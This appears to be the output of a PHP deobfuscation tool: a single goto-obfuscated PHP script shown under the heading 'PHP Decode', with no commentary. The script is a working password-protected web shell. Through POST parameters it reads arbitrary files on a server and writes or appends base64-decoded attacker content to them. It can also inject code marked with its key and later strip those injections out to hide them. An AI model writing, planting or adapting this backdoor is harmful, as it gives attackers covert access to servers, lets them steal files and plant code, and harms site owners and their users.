PHP Decode

<?php
 goto JX4nG; rWfHt: if (!(!isset($_POST["\x6b"]) || $_POST["\x6b"] != $aM3Mr)) { goto Z_QyH; } goto lXTXG; MOWBE: $LgFSc = $_POST["\x66"]; goto feHQs; JX4nG: $aM3Mr = "\x38\x61\71\145\x66\61\63\x36\x2d\67\71\141\142\55\x34\143\x61\143\55\x39\x36\62\61\55\62\67\x36\x65\61\x37\146\x61\x33\x31\x65\62"; goto rWfHt; e4QBE: Z_QyH: goto MOWBE; feHQs: $snOrh = $_POST["\x61"]; goto dnwLa; lXTXG: exit; goto e4QBE; F3roX: plPYN: goto vlM_Z; dnwLa: switch ($snOrh) { case "\x72": echo file_get_contents($LgFSc); goto gc9v1; case "\x77": goto u26i0; u26i0: $hzJkK = base64_decode($_POST["\144"]); goto QvCUM; gYXNy: file_put_contents($LgFSc, file_get_contents($LgFSc) . "\xa{$hzJkK}"); goto C9G5k; nmjjj: lbO72: goto iYgZQ; C9G5k: goto lbO72; goto HzUva; QvCUM: if (!file_get_contents($LgFSc)) { goto fN8cB; } goto gYXNy; HzUva: fN8cB: goto nssm4; iYgZQ: echo $hzJkK; goto pOtBs; pOtBs: goto gc9v1; goto l6_KZ; nssm4: file_put_contents($LgFSc, $hzJkK); goto nmjjj; l6_KZ: case "\151": goto uLe9f; cepul: file_put_contents($LgFSc, file_get_contents($LgFSc) . "\xa\57\x2a{$aM3Mr}\x2a\x2f\xa{$hzJkK}"); goto D4GAx; uLe9f: $hzJkK = base64_decode($_POST["\144"]); goto cepul; D4GAx: echo $hzJkK; goto R2zbG; R2zbG: goto gc9v1; goto oHmVM; oHmVM: case "\143": goto Z49im; sB1f4: goto gc9v1; goto KzCHm; ECaNZ: kHmH7: goto RvJOz; Z49im: $dQGPs = false; goto cqms_; cqms_: $KJSHZ = ''; goto Q4R3N; Q4R3N: foreach (file($LgFSc) as $nkO9T) { goto D36ue; SXmAy: goto pMRCS; goto xdBCY; BevHe: pMRCS: goto utD6f; utD6f: Px5YC: goto qdzm5; xdBCY: ysbOU: goto UI7Xu; D36ue: if (!strpos($nkO9T, $aM3Mr)) { goto ysbOU; } goto zsS7G; zsS7G: goto kHmH7; goto SXmAy; UI7Xu: $KJSHZ .= $nkO9T; goto BevHe; qdzm5: } goto ECaNZ; RvJOz: file_put_contents($LgFSc, $KJSHZ); goto sB1f4; KzCHm: } goto F3roX; vlM_Z: gc9v1: